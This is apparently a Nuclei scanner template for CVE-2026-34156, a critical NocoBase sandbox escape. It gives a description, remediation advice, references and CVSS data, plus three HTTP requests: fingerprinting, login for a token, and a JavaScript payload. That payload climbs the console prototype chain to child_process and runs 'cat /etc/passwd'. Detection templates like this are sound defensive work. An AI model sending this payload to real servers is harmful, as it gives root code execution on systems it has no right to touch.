id: CVE-2026-34156 info: name: NocoBase - VM Sandbox Escape to Remote Code Execution author: theamanrawat severity: critical description: | NocoBase Workflow Script Node executes user-supplied JavaScript inside a Node.js vm sandbox with a custom require allowlist controlled by WORKFLOW_SCRIPT_MODULES env var. The console object passed into the sandbox context exposes host-realm WritableWorkerStdio stream objects via console._stdout and console._stderr. An authenticated attacker can traverse the prototype chain (console._stdout.constructor.constructor to Function to process to child_process) to escape the sandbox and achieve Remote Code Execution as root. remediation: | Upgrade to NocoBase version 2.0.28 or later. Replace Node.js vm module with isolated-vm for true V8 isolate separation. Do not pass the host console object into the sandbox. Run the application as a non-root user inside Docker. Restrict /api/flow_nodes:test to admin-only roles. reference: - https://github.com/advisories/GHSA-px3p-vgh9-m57c - https://github.com/nocobase/nocobase/security/advisories/GHSA-px3p-vgh9-m57c - https://nvd.nist.gov/vuln/detail/CVE-2026-34156 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H cvss-score: 10.0 cve-id: CVE-2026-34156 epss-score: 0.29502 epss-percentile: 0.96702 cwe-id: CWE-913 metadata: verified: true max-request: 3 vendor: nocobase product: nocobase shodan-query: http.title:"NocoBase" fofa-query: body="__nocobase_public_path__" tags: cve,cve2026,nocobase,rce,sandbox-escape,workflow,vm-escape,authenticated,vuln flow: http(1) && http(2) && http(3) http: - raw: - | GET / HTTP/1.1 Host: {{Hostname}} matchers: - type: dsl dsl: - 'contains_all(body, "nocobase_api_base_url", "nocobase_api_client_share_token")' - 'status_code == 200' condition: and internal: true - raw: - | POST /api/auth:signIn HTTP/1.1 Host: {{Hostname}} Content-Type: application/json {"account":"{{username}}","password":"{{password}}"} matchers: - type: dsl dsl: - 'contains(body, "token")' - 'status_code == 200' condition: and internal: true extractors: - type: regex name: token part: body internal: true regex: - '"token":"([^"]+)"' group: 1 - raw: - | POST /api/flow_nodes:test HTTP/1.1 Host: {{Hostname}} Content-Type: application/json Authorization: Bearer {{token}} {"type":"script","config":{"content":"const Fn=console._stdout.constructor.constructor;const proc=Fn('return process')();const cp=proc.mainModule.require('child_process');return cp.execSync('cat /etc/passwd').toString().trim();","timeout":5000,"arguments":[]}} matchers: - type: dsl dsl: - 'regex("root:.*:0:0:", body)' - 'contains(content_type, "application/json")' - 'status_code == 200' condition: and # digest: 4a0a00473045022076121a1c92ac595b2e43236bbeb45a8fb6abd53c39b9f788469531f5733c3e7c022100aa6395d003a8b065bb6cce5dc108013cf55a38827f428d6399a8fccbef6b9e23:922c64590222798bb761d5b6d8e72950